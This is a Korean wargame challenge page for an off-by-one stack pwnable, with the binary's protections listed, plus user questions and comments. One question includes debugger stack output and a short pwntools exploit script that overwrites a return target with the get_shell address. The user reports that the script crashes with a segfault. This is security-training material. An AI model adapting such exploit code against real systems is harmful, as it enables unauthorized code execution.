LEVEL 2

off_by_one_000

pwnable
  • 문제 정보
  • 풀이 88
  • 난이도 투표 71
  • 질문 10
  • 최근 풀이자 1043
  • 댓글 71

문제 설명

Description

이 문제는 서버에서 작동하고 있는 서비스(off_by_one_000)의 바이너리와 소스 코드가 주어집니다.
프로그램의 취약점을 찾고 익스플로잇해 get_shell 함수를 실행시키세요.
셸을 획득한 후, "flag" 파일을 읽어 워게임 사이트에 인증하면 점수를 획득할 수 있습니다.
플래그의 형식은 DH{...} 입니다.

Environment
Ubuntu 16.04
Arch:     i386-32-little
RELRO:    Partial RELRO
Stack:    No canary found
NX:       NX enabled
PIE:      No PIE (0x8048000)
Reference

Off-by-one

난이도 투표 71

질문 10

문제 풀이에 어려움이 있으신가요?
커뮤니티에서 문제에 대한 질문하고 답변 얻기
payload offset 관련 질문
따라서 0x80486b0 <main+64>: mov eax,0x0 0x80486b5 <main+69>: leave => 0x80486b6 <main+70>: ret 0x80486b7: xchg ax,ax 0x80486b9: xchg ax,ax 0x80486bb: xchg ax,ax 0x80486bd: xchg ax,ax [------------------------------------stack-------------------------------------] 0000| 0xffffd204 --> 0x80485db (<get_shell>: push ebp) 0004| 0xffffd208 ('a' <repeats 164 times>) 0008| 0xffffd20c ('a' <repeats 160 times>) 0012| 0xffffd210 ('a' <repeats 156 times>) 0016| 0xffffd214 ('a' <repeats 152 times>) 0020| 0xffffd218 ('a' <repeats 148 times>) 0024| 0xffffd21c ('a' <repeats 144 times>) 0028| 0xffffd220 ('a' <repeats 140 times>) 이렇게 main이 종료되자 이 점에서 착안하여 from pwn import* payload = '' payload += 'a'*20 p=process('./off_by_one_000') e =ELF('./off_by_one_000') get_shell_addr = e.symbols['get_shell'] payload += p32(get_shell_addr) payload += 'a'*0x100 p.sendline(payload) p.interactive() 와 같은 공격코드를사용했으나 Switching to interactive mode Name: Name: aaaaaaaaaaaaaaaaۅ\x04aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa[*] Got EOF while reading in interactive $ id [*] Process './off_by_one_000' stopped with exit code -11 (SIGSEGV) (pid 550) 와 같이 셸이 실행되지 않고 종료됩니다. 디버거로 분석한 것과 offset 차이가 있는건가요?
마리마리
LEVEL 2

off_by_one_000

pwnable

출제자 정보

Dreamhack
대표 업적 없음

First Blood!

realsung
Open Beta Top 10
출제된 지 20시간 만에 풀이 완료!

최근 풀이자 1043

시넨시스
대표 업적 없음
AnhLong
시스템 해킹 중급자
jonggyu06
대표 업적 없음
GiuNash
시니어
doring
대표 업적 없음
yrudwls
대표 업적 없음
kidz0
시스템 해킹 전문가
ho_o
시스템 해킹 전문가
kenvive
대표 업적 없음
Dusker
대표 업적 없음

댓글 71

SFP란 개념을 공부하시면 됩니다
Rootsquare
바탈리온
함수의 반환 주소만 덮이지 않으면 안전할까요?
mini-chip
Perfect 10
SFP가 바뀌면 무슨 일이 일어날까???
LM_R3dzone
워게임 고인물
Do you know FPO~?
나는재영
대표 업적 없음
악... 32bit
xpsa
대표 업적 없음
공격 이론은 어렵지만 익스가 쉬운 문제
__Ph4nt0m_Byt3
워게임: 20
잠시 pwnable 은 접어두고 오겠씁니다..
msh1307
대표 업적 없음
:)
anous
대표 업적 없음
good
user99
워게임: 20
재밌네요!